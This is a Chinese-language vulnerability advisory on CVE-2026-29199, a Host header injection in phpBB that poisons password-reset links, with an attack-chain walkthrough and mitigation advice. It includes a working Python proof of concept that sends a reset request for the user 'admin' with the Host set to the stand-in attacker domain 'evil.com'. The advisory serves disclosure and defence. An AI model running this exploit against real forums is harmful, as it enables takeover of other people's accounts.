IPBUF安全漏洞报告
English
CVE-2026-29199 CVSS 8.1 高危

CVE-2026-29199 phpBB主机头注入漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-29199
漏洞类型
Host Header Injection
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
phpBB

相关标签

Host Header InjectionphpBBAccount TakeoverPassword Reset PoisoningCVE-2026-29199

漏洞概述

phpBB 3.3.16之前的版本存在高危主机头注入漏洞,可能导致密码重置链接投毒。在未启用force_server_vars配置的情况下,系统会直接从HTTP Host头部提取服务器主机名以生成密码重置链接。攻击者若能操纵该头部(例如通过错误的主机配置或Web服务器缺少头部验证),即可诱骗系统发送指向攻击者控制域的链接,从而造成账户接管风险。

技术细节

该漏洞的核心在于phpBB处理密码重置逻辑时对输入验证的缺失。当配置项force_server_vars被禁用时,phpBB倾向于使用HTTP请求头中的Host字段来构建基础URL。攻击者利用这一点,向服务器发送特制的HTTP请求,将Host头部修改为恶意的域名(如attacker.com)。服务器在处理密码重置请求时,会信任这个被篡改的Host值,并将其拼接到重置链接中。随后,系统将包含恶意链接的邮件发送给受害用户。由于链接由攻击者控制,攻击者可以窃取邮件中的重置令牌或诱导用户在恶意站点输入新密码,最终无需用户原始密码即可接管账户。

攻击链分析

STEP 1
1. 侦察识别
攻击者识别出目标网站使用的是存在漏洞的phpBB版本(< 3.3.16),且确认force_server_vars配置未启用。
STEP 2
2. 发送恶意请求
攻击者向phpBB的密码重置接口发送POST请求,并在HTTP头部中注入恶意的Host字段(指向攻击者控制的服务器)。
STEP 3
3. 链接投毒
服务器端处理请求,信任并使用了恶意Host头部的值,生成包含攻击者域名的密码重置链接,并发送给受害用户。
STEP 4
4. 获取令牌
受害用户收到邮件,若点击链接,攻击者可通过日志记录获取URL中的重置令牌;或者攻击者直接通过中间人攻击获取邮件内容。
STEP 5
5. 账户接管
攻击者使用窃取到的有效令牌,在恶意服务器上构造请求完成密码重置,从而获得受害账户的完全控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-29199: phpBB Host Header Injection # This script demonstrates how to send a malicious Host header import requests def exploit_poc(target_url, malicious_domain, victim_user): # The endpoint for password reset reset_url = f"{target_url}/ucp.php?mode=sendpassword" # Headers with the poisoned Host header headers = { "Host": malicious_domain, "User-Agent": "Mozilla/5.0 (PoC-Analysis)", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" } # Payload data payload = { "username": victim_user, "email": "", # Email might be optional if username is used "submit": "Submit" } try: print(f"[*] Sending request to {reset_url} with Host: {malicious_domain}") response = requests.post(reset_url, headers=headers, data=payload) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the victim's email for a reset link containing the malicious domain.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target phpBB URL evil_host = "evil.com" # Attacker controlled domain user = "admin" # Target username exploit_poc(target, evil_host, user)

影响范围

phpBB < 3.3.16

防御指南

临时缓解措施
对于无法立即升级的环境,最有效的临时缓解措施是在Web服务器反向代理层(如Nginx或Apache)拦截非法的Host头部请求,确保只转发指向正确域名的请求。同时,建议管理员立即检查phpBB的config.php文件,将$force_server_vars参数设置为true,并明确指定$server_name为官方域名,防止系统动态解析Host头。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表